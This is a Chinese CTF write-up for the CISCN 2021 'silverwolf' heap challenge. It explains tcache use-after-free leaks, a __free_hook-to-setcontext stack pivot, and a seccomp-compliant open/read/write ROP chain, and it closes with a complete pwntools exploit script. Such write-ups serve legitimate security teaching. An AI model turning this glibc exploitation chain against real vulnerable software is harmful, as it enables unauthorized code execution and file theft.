原文链接:https://tover.xyz/p/PWN-Note-1-Tcache-and-Setcontext/
这篇说一下怎么用Tcachebin的UAF到unsortedbin
泄露libc
地址,然后用setcontext
从free_hook
到rop
也是从一道题目说起:[CISCN 2021 初赛]的silverwolf(https://www.nssctf.cn/problem/912)
找漏洞点
直接看delete
函数,在free
后指针没有设0
,有UAF
漏洞

另外在libc-2.27
的tcachebin
基址中,只有一个堆块也可以直接构造double free
,但是比UAF
复杂一点,所以这里我就直接用UAF
(有空再补坑,有兴趣的可以试试)
于是这里基本的攻击思路就和笔记vol.0的差不多,就是通过show
泄露地址,通过edit
构造任意写,然后写到free_hook
或者malloc_hook
接下来细说
Part.1 泄露heap_base
heap_base
的泄露方法和笔记vol.0里的是一样的
就是先allocate
一个堆块,然后delete
掉,这样这个堆块的next
指针就会指向下一个堆块,用show
就可以泄露bin
中这个堆块的下一个堆块的地址
正常来说应该是没有下一个堆块的,所以下一个堆块的地址是0
,但这里程序到用户操作的时候在bin
中已经有很多的堆块了(盲猜是做seccomp_rule_add
的时候留下的)

所以选一个tcachebin
中有堆块的大小进行allocate
就好,比如我用0x68
,就会分配到0x70
的tcachebin
中
PS:其实不用delete
也行,因为allocate
的时候会直接取tcachebin
的堆块,这样的话取tcachebin
中有至少两个堆块的大小进行allocate
就好
Part.2 泄露libc_base
在笔记vol.0说过,通过把堆块free
到unsortedbin
中,可以泄露main_arena
的地址,然后泄露libc_base
但是把堆块放到unsortedbin
中需要这个堆块满足一些大小的条件,拿个图复习一下(64位的)

大概意思就是,如果堆块大小小于0x420
,而且对应大小的tcachebin
还有位置(里面有小于7
个堆块)的话,这个堆块被free
后就会放到tcachebin
中
如果对应大小的tcachebin
被填满了(里面已经有7
个堆块),而且这个堆块的大小小于等于128
字节(0x80
)的话,就会被放到fastbin
中
如果上面两个条件都不符合,就会被放到unsortedbin
中,后面看情况再放到smallbins
或largebins
中
但在这个题目中,allocate
分配的大小为0x78
,就是即使tcachebin
被填满,还是被放到fastbin
中,到不了unsortedbin
另外,题目的Index
只能是0
,就是只有一个指向所分配堆块的指针(下面不妨令这个指针为chunk
),也就不能直接用分配7
次的方法填满tcachebin
方法.1 构造假的chunk
我自己首先想到的方法是,在堆上构造一个0x420
或以上的堆块,然后利用UAF
让chunk
指向这个伪造的堆块,最后进行delete
把这个堆块free
掉,就可以到unsortedbin
中,具体做法是:
首先在Part.1中已经allocate
并delete
了一个0x70
的堆块(不妨记为chunk(0x70)
),所以可以接着对这个堆块进行edit
实现UAF
,这里我就把UAF
和fake_chunk
的构造一起做了,写上(比如我写一个0x420
的fake_chunk
)
chunk(0x70) + 0x00: | 0 | 0x70 |
chunk(0x70) + 0x10: | chunk(0x70) + 0x30 | * | <= chunk point at here
chunk(0x70) + 0x20: | 0 | 0x420 | <= my fake_chunk
chunk(0x70) + 0x30: | * | * | <= I want chunk point at here
由于堆块chunk(0x70)
已经被delete
,所以UAF
后它在tcachebin
中长这样:
-> chunk(0x70) -> chunk(0x70) + 0x30 -> 0
所以进行两次0x68
的allocate
,chunk
指针就会指向chunk(0x70) + 0x30
,就是我构造的fake_chunk
又由于分配tcachebin
的堆块时并不会修改堆块的头部,所以fake_chunk
的结构依然是完整的

于是理论上我再进行一次delete
就可以对chunk
指向的fake_chunk
进行free
,把它扔进unsortedbin
中
但实际上并不是,如无意外delete
后会报错stopped with exit code -31 (SIGSYS)
进行调试后发现,对fake_chunk
进行free
会触发glibc-2.27/malloc/malloc.c:4280
的条件(我看的源码是这个)

然后在malloc_printerr
的时候会调用一个调用号为0x14
的syscall
,不满足seccomp
沙箱的规则,所以报SIGSYS
,关于沙箱的部分后面再细说

先来看看malloc.c:4280
的条件是什么意思,根据注释可以知道这里是在检查fake_chunk
是不是一个正在使用的堆块,具体的做法是,检查物理地址中fake_chunk
的下一个堆块的PREV_INUSE
位是否为1
,如果不是则丢出错误
关于PREV_INUSE
具体可以参考CTF wiki,或者翻malloc.c
源码的话也可以知道,除了拿tcachebin
和fastbin
的堆块外,malloc
成功后都会使用set_inuse_bit_at_offset(p, s)
标记堆块是否在使用,其中p
是这个堆块的地址,s
是堆块的大小,而这个宏的意思就是设置p + s
(即物理地址的下一个堆块)的size
中打上PREV_INUSE
位

回到题目中,不妨看一下nextchunk
长什么样

这里可以看到nextchunk->mchunk_size = 0
,那显然prev_inuse(nextchunk)
也是0
,就过不了check
继续看下去,下一行的...7a0
就是一个正常的堆块,而且PREV_INUSE
位为1
,所以不妨把原来fake_chunk
的大小0x421
改成0x431
,就可以过check
了

delete
完成后,chunk->fd
和chunk->bk
都指向main_arena
的某个位置,于是做一次show
就可以泄露libc_base
PS:看回上图,在...7b0
那一行也是满足PREV_INUSE
位,那么能不能用0x441
呢,答案是,这样虽然能过malloc.c:4280
的check
,但过不了malloc.c:4284
的check

其中SIZE_SZ
就是一个word
的大小,64为即SIZE_SZ = 8
,即一个正常的堆块至少要大于2
个word

另外这个堆块的大小也不能超过av->system_mem
(av
指向main_arena
),即已经分配的堆的大小,vmmap
中的[heap]
,所以即使用0x451
也不行
所以好像还是把nextchunk
构造到正常的堆块简单一点
方法.2 利用tcache_perthread_struct
在NSS上还看到了@Decline的另一种解法(反正他写得最长,就@他了),就是通过改tcache_perthread_struct
然后把tcache_perthread_struct
给free
掉
先看看这个tcache_perthread_struct
是啥,在代码中的定义是(其中如果没对源码进行修改的话,TCACHE_MAX_BINS = 64
)

这里的counts
记录的是从0x20
到0x410
这64
个tcachebin
中塞了多少个堆块,按注释的说法存这个是为了加速计算,entries
就是这64
个tcachebin
的链表头
在调用malloc
(或其他作用类似的函数)时,都会调用一个叫MAYBE_INIT_TCACHE ()
的宏,这个宏中检查tchcha
是否已经被初始化,如果没有的话会调用一个叫tcache_init
的函数,这个函数会新建一个tcache_perthread_struct
结构,然后把这个结构分配到堆上
static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
用人话来说,就是在正常情况下,这个tcache_perthread_struct
结构会是堆中的第一个堆块,也就是在heap_base
的位置,大概长这样:

这个堆块的大小是0x250
,所以把这个堆块free
的话不会落到fastbin
中,但它依然会落到tcachebin
中
所以@Decline的做法是修改tcache_perthread_struct
中大小为0x250
的tcachebin
的counts
为7
,这个7
即tcachebin
的最大容量,这样操作后就可以一键把大小为0x250
的tcachebin
填满
然后再对tcache_perthread_struct
进行delete
时,就不会放到tcache
,而因为0x250
大于fastbin
的大小,所以就会放到unsortedbin
中
接下来再看nextchunk
也是一个正常的堆块,所以就可以正常地把tcache_perthread_struct
给free
到unsortedbin
中
最后就是老套路,用show
泄露libc_base
这个做法还能修改entries
,让tcachebin
的链头直接指向想要读写的地方,非常地方便,不过缺点是可能会把tcache
改坏
具体可以去看@Decline的exp
Part.3 用setcontext劫持控制流
按照笔记vol.0的做法,到这里直接往free_hook
写one_gadget
就行了,但实际上并不是
看一下程序在初始化的时候还运行了seccomp
沙箱

大概意思是只能使用调用号0
、1
和2
进行syscall
,也就是open
、read
和write
如果使用one_gadget
的话,就会调用execve
,违反了seccomp
沙箱的规则,会SIGSYS
于是接下来的做法应该是要写一段orw
的rop
,而正常的程序或者libc
是不会有这样的orw
的(而且还是要打开/flag
),也就不能找到这样的one_gadget
往free_hook
上写
所以就需要一种方法,从free_hook
到rop
劫持控制流,网上查了一下说可以用setcontext
setcontext
的作用是做上下文恢复,它可以把一个ucontext_t
结构体的内容恢复到寄存器中,但在这里我们并不关心他的具体功能,翻一下setcontext + 53
的位置有一段这样的gadget
(注意,只是libc-2.27
)

其中rdi
就是指向ucontext_t
结构体的指针,这段gadget
做的就是把ucontext_t
结构体的内容恢复到每个寄存器中,包括rsp
所以如果可以控制rdi + 0xa0
的话,就可以控制rsp
,也就可以把栈迁移到另一个写好rop
的地方
这里要注意还需要把rdi + 0xa8
,也就是恢复rcx
的地方控制成一个rop
(最好是只有ret
),不然setcontext + 94
的push rcx
和setcontext + 127
的ret
可能会使得程序崩溃
那么该如何控制这个rdi
呢,再来看一下free_hook

在调用free
函数时,内部会先检查free_hook
上是否有东西(是不是NULL
),如果有的话就调用free_hook
上的地址
其中传进去的第一个参数(rdi
)是所free
的堆块的地址,第二个参数(rsi
)好像是free
完后的返回地址
也就是只要往free_hook
上写上setcontext + 53
,再往一个堆块上写上ucontext_t
结构体,然后把这个堆块free
掉,就可以把栈移到任意位置
但是还有一个问题是,这样的话至少需要写到rdi + 0xa8
,而题目中的allocate
最大只能0x78
,所以至少需要allocate
到两个连续的堆块才行
注意tcachebins
和fastbins
上本来是有东西的,所以这时每次进行allocate
的位置其实挺乱的,当然你可以找到tcachebins
的规律来allocate
两个连续的堆块,但我想到的另一个方法是可以先进行多次allocate
清空掉tcachebins
和fastbins
,然后把两个连续的堆块分配到top_chunk
的上两个堆块
具体做法是:
首先选择最大的两种堆块0x80
和0x70
,清空掉这两种堆块的tcachebins
和fastbins
,我测试的话进行7
次0x78
的allocate
和13
次0x68
的allocate
就可以清空
这时如果再申请0x80
或0x70
的堆块就不会从已分配过的地方拿堆块,而是从top_chunk
中
至于为什么要选两种大小,是因为我最后想要叠出来的两个堆块大概长成
old_chunks
chunk1 <= rdi
chunk2
top_chunk
用人话来说就是我需要chunk
指向靠上面(低地址)的那个堆块,如果只用一种大小的话,无论怎么弄chunk
都只能指向靠下面(高地址)的堆块,所以就要弄两种大小,结合delete
操作来叠堆块
然后就要思考叠堆块的策略,我的做法是,先申请一个0x70
的堆块,然后delete
掉,这是堆上长的是
old_chunks
chunk0(0x70) <= deleted
top_chunk
然后再去申请两个0x80
的堆块,就是
old_chunks
chunk0(0x70) <= deleted
chunk1(0x80)
chunk2(0x80) <= chunk
top_chunk
这时再申请一个0x70
的堆块,就可以拿回chunk0
old_chunks
chunk0(0x70) <= chunk(rdi)
chunk1(0x80)
chunk2(0x80)
top_chunk
这样就可以往chunk0
和chunk1
上写ucontext_t
结构体,顺便还能在chunk2
上写之后的rop

最后按照上面的方法写free_hook
和ucontext_t
结构体就好了
Part.4 构造ORW
最后来看看该怎么写orw
的rop
,也就是open -> read -> write
稍微复习一下,虽然这三个都是系统调用,但在libc
中有对应的函数去调用,看了一下,传参其实和系统调用的一样,其中read
和write
在unistd.h
,open
在fcntl.h
/* oflags */
#define O_RDONLY 00 // read only
#define O_WRONLY 01 // write only
#define O_RDWR 02 // read and write
/* Open FILE and return a new file descriptor for it, or -1 on error.
OFLAG determines the type of access used. If O_CREAT or O_TMPFILE is set
in OFLAG, the third argument is taken as a `mode_t', the mode of the
created file.
This function is a cancellation point and therefore not marked with
__THROW. */
extern int open (const char *__file, int __oflag, ...) __nonnull ((1));
/* Read NBYTES into BUF from FD. Return the
number read, -1 for errors or 0 for EOF.
This function is a cancellation point and therefore not marked with
__THROW. */
extern ssize_t read (int __fd, void *__buf, size_t __nbytes) __wur;
/* Write N bytes of BUF to FD. Return the number written, or -1.
This function is a cancellation point and therefore not marked with
__THROW. */
extern ssize_t write (int __fd, const void *__buf, size_t __n) __wur;
现在需要做的是,先用open
打开/flag
文件拿到一个fd
,然后用read
读fd
的内容到heap
上的buffer
中,最后用write
把buffer
的内容写到stdout
,打印到屏幕中,其中64
位linux
中:
stdin
的fd
是0
,stdout
的fd
是1
,stderr
的fd
是2
read
的系统调用号是0
,write
的系统调用号是1
,open
的系统调用号是2
,
做系统调用可以调用syscall
这个rop
,系统调用号放在rax
,传参按照rdi -> rsi -> rdx -> r10 -> r8 -> r9
的顺序
于是可以写出以下的rop
pop rax, 2 ; open
pop rdi, file ; file points at "/flag\x00"
pop rsi, 0 ; oflags = O_RDONLY
syscall ; call open("/falg", O_RDONLY), return fd=3
pop rax, 0 ; read
pop rdi, 3, ; fd of /flag
pop rsi, buffer ; buffer
pop rdx, n ; read n bytes
syscall ; call read(3, buffer, n)
pop rax, 0 ; write
pop rdi, 1 ; fd = stdout
pop rsi, buffer ; buffer
pop rdx, n ; write n bytes
syscall ; call write(stdout, buffer, n)
但这样的话就需要(7 + 9 + 9) * 8 = 0xc8
字节的rop
,而我上面申请写rop
的堆块只有0x78
大小,如果再申请一块的话就太麻烦了,所以需要想办法压缩rop
的数量
可以直接调用libc
中的open
、read
和write
函数,这样就少了用pop rax
设置系统调用号的几个rop
在setcontext
恢复上下文的时候,可以先把rsi
设成0
和把rdx
设成n
,由于我这里的构造问题,不能搞rdi + 0x68
,所以不能设rdi
(果然还是需要优化一下的,比如上面把0x70
和0x80
的分配顺序反过来)
在调用完read
后,调用write
时其实buffer
和n
都不需要变,于是在调用write
的时候只要改fd
就好
于是rop
就可以改成
pop rdi, file ; file points at "/flag\x00"
libc_open ; call open("/falg", O_RDONLY), return fd=3
pop rdi, 3, ; fd of /flag
pop rsi, buffer ; buffer
linc_read ; call read(3, buffer, n)
pop rdi, 1 ; fd = stdout
linc_write ; call write(stdout, buffer, n)
这样就只需要(3 + 5 + 3) * 8 = 0x58
字节的rop
,满足大小
但实际操作的时候,在调open
的时候会报SIGSYS
,调了一下,发现其实调用open
的时候,里面调的其实是openat
,而openat
的调用号是0x101
,所以沙箱就爆了

而read
和write
都没这个问题


所以最后把open
改回用syscall
调就好
pop rax, 2 ; open
pop rdi, file ; file points at "/flag\x00"
syscall ; call open("/falg", O_RDONLY), return fd=3
pop rdi, 3, ; fd of /flag
pop rsi, buffer ; buffer
linc_read ; call read(3, buffer, n)
pop rdi, 1 ; fd = stdout
linc_write ; call write(stdout, buffer, n)
需要(5 + 5 + 3) * 8 = 0x68
字节,也满足
参考Exp
上面都说完了,最后给个参考代码
from pwn import *
from time import sleep
context.log_level = 'debug'
context.terminal = ['wt.exe', 'bash', '-c']
T = 0.1
LOCAL = False
AUTOGDB = True
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./silverwolf', env=env)
if AUTOGDB:
gid, g = gdb.attach(r, api=True, gdbscript='')
sleep(1)
AUTOGDB and g.execute('dir /home/tover/SHARE/Lab/gnu_libc/glibc-2.27.tar/glibc-2.27/malloc/') and sleep(T)
AUTOGDB and g.execute('c') and sleep(T)
else:
gdb.attach(r, gdbscript='dir /home/tover/SHARE/Lab/gnu_libc/glibc-2.27.tar/glibc-2.27/malloc/')
input('Waiting GDB...')
else:
AUTOGDB = False
r = remote('node4.anna.nssctf.cn', 28103)
def allocate(size):
r.sendlineafter(b'choice:', b'1')
r.sendlineafter(b'Index:', b'0')
r.sendlineafter(b'Size:', str(size).encode())
sleep(T)
def edit(content):
r.sendlineafter(b'choice:', b'2')
r.sendlineafter(b'Index:', b'0')
r.sendlineafter(b'Content:', content)
sleep(T)
def show():
r.sendlineafter(b'choice:', b'3')
r.sendlineafter(b'Index:', b'0')
r.recvuntil(b'Content: ')
return r.recvline()[:-1]
def delete():
r.sendlineafter(b'choice:', b'4')
r.sendlineafter(b'Index:', b'0')
sleep(T)
allocate(0x68)
delete()
AUTOGDB and g.execute('p "leak heap_base"') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)
AUTOGDB and g.execute('hexdump *(size_t*)[imath:0]rebase(0x202058)-0x10 128') and sleep(T)
heap_base = u64(show().ljust(8, b'\x00')) - 0x10d0
print(f'{hex(heap_base) = }')
AUTOGDB and g.execute('p "leak libc_base"') and sleep(T)
fake_chunk = p64(0) + p64(0x431) + p64(0) + p64(0) # 0x431 -> prev_inuse(nextchunk) == 1 (in malloc.c:4280)
edit(p64(heap_base + 0x1380) + p64(0) + fake_chunk)
allocate(0x68)
allocate(0x68)
AUTOGDB and g.execute('x/gx [/imath:0]rebase(0x202058)') and sleep(T)
AUTOGDB and g.execute(f'hexdump {heap_base + 0x1350} 128') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)
AUTOGDB and g.execute(f'hexdump {heap_base + 0x1370 + 0x430} 128') and sleep(T) # make sure this is a chunk
#AUTOGDB and g.execute('b free') and sleep(T)
delete()
#libc_base = u64(show().ljust(8, b'\x00')) - 0x39fc80 # debug
libc_base = u64(show().ljust(8, b'\x00')) - 0x3ebca0
print(f'{hex(libc_base) = }')
AUTOGDB and g.execute('p "write free_hook"') and sleep(T)
# clean bins before write free_hook
for _ in range(13):
allocate(0x68)
for _ in range(7):
allocate(0x78)
allocate(0x68)
delete()
AUTOGDB and g.execute('bins') and sleep(T)
#libc = ELF('libc-2.27-debug.so') # debug
libc = ELF('libc-2.27.so')
libc_free_hook = libc_base + libc.symbols['__free_hook']
libc_setcontext = libc_base + libc.symbols['setcontext']
allocate(0x38)
delete()
edit(p64(libc_free_hook))
AUTOGDB and g.execute('bins') and sleep(T)
allocate(0x38)
allocate(0x38)
'''
=> 0x7f2eacaae1b5 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x7f2eacaae1bc <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x7f2eacaae1c3 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x7f2eacaae1c7 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x7f2eacaae1cb <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x7f2eacaae1cf <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x7f2eacaae1d3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x7f2eacaae1d7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x7f2eacaae1de <setcontext+94>: push rcx
0x7f2eacaae1df <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x7f2eacaae1e3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
0x7f2eacaae1ea <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x7f2eacaae1f1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x7f2eacaae1f5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x7f2eacaae1f9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68] <= can not use...
0x7f2eacaae1fd <setcontext+125>: xor eax,eax
0x7f2eacaae1ff <setcontext+127>: ret
'''
edit(p64(libc_setcontext + 53))
AUTOGDB and g.execute('x/gx [imath:0]rebase(0x202058)') and sleep(T)
AUTOGDB and g.execute('hexdump *(size_t*)[/imath:0]rebase(0x202058)-0x10 128') and sleep(T)
AUTOGDB and g.execute(f'x/gx {libc_free_hook}') and sleep(T)
# construct setcontext structure
libc_ret = libc_base + 0x8aa
sc = [0 for _ in range(22)]
sc[0xa8//8] = libc_ret
sc[0xa0//8] = heap_base + 0x1a10
sc[0x88//8] = 1997 # count
sc = b''.join([p64(_) for _ in sc])
sc += b'/flag\x00\x00\x00' # heap_base + 0x19d0
# construct rop of orw
libc_pop_rdi = libc_base + 0x215bf
libc_pop_rsi = libc_base + 0x23eea
libc_pop_rdx = libc_base + 0x1b96
libc_pop_rax = libc_base + 0x43ae8
libc_syscall = libc_base + 0xd2745
libc_open = libc_base + libc.symbols['open']
libc_read = libc_base + libc.symbols['read']
libc_write = libc_base + libc.symbols['write']
rop = [
libc_pop_rax, 2, # open
libc_pop_rdi, heap_base + 0x19d0, # file
#libc_pop_rsi, 0, # oflags
libc_syscall,
libc_pop_rdi, 3, # fd
libc_pop_rsi, heap_base + 0x2000, # buf
#libc_pop_rdx, 1997, # count
libc_read,
libc_pop_rdi, 1, # fd: stdout
#libc_pop_rsi, heap_base + 0x2000, # buf
#libc_pop_rdx, 1997, # count
libc_write
]
assert len(rop) < 0x78 // 8
rop = b''.join([p64(_) for _ in rop])
'''
+0000 0x55ec22c7f910 00 00 00 00 00 00 00 00 71 00 00 00 00 00 00 00 │........│q.......│
+0010 0x55ec22c7f920 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 │00000000│00000000│ <= rdi
... ↓ skipped 4 identical lines (64 bytes)
+0060 0x55ec22c7f970 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 │00000000│00000000│
+0070 0x55ec22c7f980 30 30 30 30 30 30 30 30 81 00 00 00 00 00 00 00 │00000000│........│
+0080 0x55ec22c7f990 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 │11111111│11111111│ <= rdi + 0x70
... ↓ skipped 5 identical lines (80 bytes)
+00e0 0x55ec22c7f9f0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 │11111111│11111111│
+00f0 0x55ec22c7fa00 31 31 31 31 31 31 31 31 81 00 00 00 00 00 00 00 │11111111│........│
+0100 0x55ec22c7fa10 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 │22222222│22222222│
... ↓ skipped 5 identical lines (80 bytes)
+0160 0x55ec22c7fa70 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 │22222222│22222222│
+0170 0x55ec22c7fa80 32 32 32 32 32 32 32 32 81 f5 01 00 00 00 00 00 │22222222│........│
+0180 0x55ec22c7fa90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
... ↓ skipped 6 identical lines (96 bytes)
+01f0 0x55ec22c7fb00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
'''
# construct chunk(0x68) before chunk(0x78)
allocate(0x78)
edit(sc[0x70:])
allocate(0x78) # heap_base + 0x1a10
edit(rop)
allocate(0x68)
edit(sc[:0x68])
AUTOGDB and g.execute('hexdump *(size_t*)$rebase(0x202058)-0x10 256') and sleep(T)
AUTOGDB and g.execute('p "call libc_setcontext + 53"') and sleep(T)
AUTOGDB and g.execute(f'hexdump {hex(heap_base + 0x1a10)} 128') and sleep(T)
#AUTOGDB and g.execute(f'b *{hex(libc_setcontext + 53)}') and sleep(T)
#AUTOGDB and g.execute(f'b *{hex(libc_read)}') and sleep(T)
AUTOGDB and g.execute(f'b *{hex(libc_setcontext + 127)}') and sleep(T)
delete()
r.interactive()
r.close()
历史笔记